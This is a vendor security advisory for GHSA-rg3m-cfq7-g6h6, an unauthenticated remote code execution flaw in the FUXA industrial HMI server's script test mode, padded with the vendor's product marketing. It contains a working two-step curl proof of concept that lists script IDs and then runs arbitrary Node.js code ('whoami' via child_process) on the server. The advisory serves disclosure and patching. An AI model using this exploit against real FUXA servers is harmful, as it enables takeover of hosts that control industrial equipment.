GHSA-rg3m-cfq7-g6h6
Fix: frangoteam/FUXA#2260GHSA-rg3m-cfq7-g6h6 is a CWE-863 vulnerability in fuxa-server. O3 Security confirms whether GHSA-rg3m-cfq7-g6h6 is actually reachable in your code before you act, and blocks exploitation at runtime until you patch.
FUXA Vulnerable to Unauthenticated Remote Code Execution via Script Test Mode Authorization Bypass
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
- A successful exploit gives an attacker total control of the affected component, not partial access.
Exploitation and automatability from CISA’s SSVC triage for GHSA-rg3m-cfq7-g6h6.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
Real-World Exposure
How broadly this vulnerability is actually deployed: weekly install volume shows current usage, a proxy for how much of the ecosystem is exposed.
fuxa-servernpmDescription
Summary
An unauthenticated Remote Code Execution vulnerability exists in FUXA when secureEnabled is set to true. The POST /api/runscript endpoint checks authorization against the stored script's permission by ID, but when test: true is set in the request, it compiles and executes attacker-supplied code instead of the stored script's code. An unauthenticated attacker who knows a valid script ID and name may execute arbitrary code via test mode if at least one server-side script exists and is accessible without restrictive permissions.
Script IDs and names can be obtained through the unauthenticated information disclosure in GET /api/project (reported separately).
The only prerequisite is that at least one server-side script exists in the project.
Details
Authorization confused deputy in script execution
File: server/runtime/scripts/index.js, lines 86-103
The authorization check looks up the stored script by ID and validates the stored script's permission field:
this.isAuthorised = function (_script, permission) {
const st = scriptModule.getScript(_script); // finds stored script by _script.id
if (admin || (st && (!st.permission || st.permission & permission))) {
return true;
}
return false;
}
When a script has no permission field set (or permission: 0), the expression !st.permission evaluates to true, and the check passes for any caller including guests.
Guest auto-authentication in the middleware
File: server/api/jwt-helper.js, lines 46-72
The verifyToken middleware generates a valid guest JWT when no token is provided:
if (!token) {
token = getGuestToken();
}
The guest token passes verification. The request proceeds to the handler with userId: "guest". The isAuthorised check then finds the stored script and validates against its permission. Scripts without a permission field pass for any user including guests.
Test mode executes attacker-supplied code
File: server/runtime/scripts/msm.js
When test: true is set, runTestScript takes the attacker's code field from the request body, compiles it into a Node.js module via Module._compile, and executes it with full access to require, child_process, fs, and the entire Node.js runtime. The authorization checked the stored script's permission. The execution runs the attacker's code.
PoC
Requires an existing server-side script accessible without restrictive permissions.
Step 1: Retrieve script IDs from the unauthenticated project endpoint
curl -s http://192.168.32.129:1881/api/project | jq '.scripts[] | {id, name, permission}'
{
"id": "legit-001",
"name": "calculate",
}
{
"id": "s_42a888fa-8e3d4213",
"name": "subs",
}
Step 2: Execute whoami without authentication
Using the script ID and name from step 1:
curl -s -X POST http://192.168.32.129:1881/api/runscript \
-H "Content-Type: application/json" \
-d '{"params":{"script":{"id":"s_42a888fa-8e3d4213","name":"subs","test":true,"code":"return require(\"child_process\").execSync(\"whoami\").toString()","parameters":[],"sync":true}}}'
Impact
Any network-reachable attacker can achieve Remote Code Execution on the FUXA server without any credentials. The attacker needs a valid script ID and name (obtainable through the separately reported information disclosure) and one server-side script to exist in the project.
Potential impact includes arbitrary command execution on the host, access to configured device connections and credentials, and compromise of industrial control functionality managed by the FUXA instance.
This issue depends on the presence of an existing server-side script with no restrictive permissions configured. It does not affect configurations without server-side scripts or where script permissions prevent guest access.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 📦npm | fuxa-server | ≥ 1.3.0&&< 1.3.1 | 1.3.1 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for fuxa-server. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update fuxa-server to 1.3.1 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-rg3m-cfq7-g6h6 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-rg3m-cfq7-g6h6 is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-rg3m-cfq7-g6h6. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-rg3m-cfq7-g6h6 in your dependencies?
O3 detects GHSA-rg3m-cfq7-g6h6 across npm dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.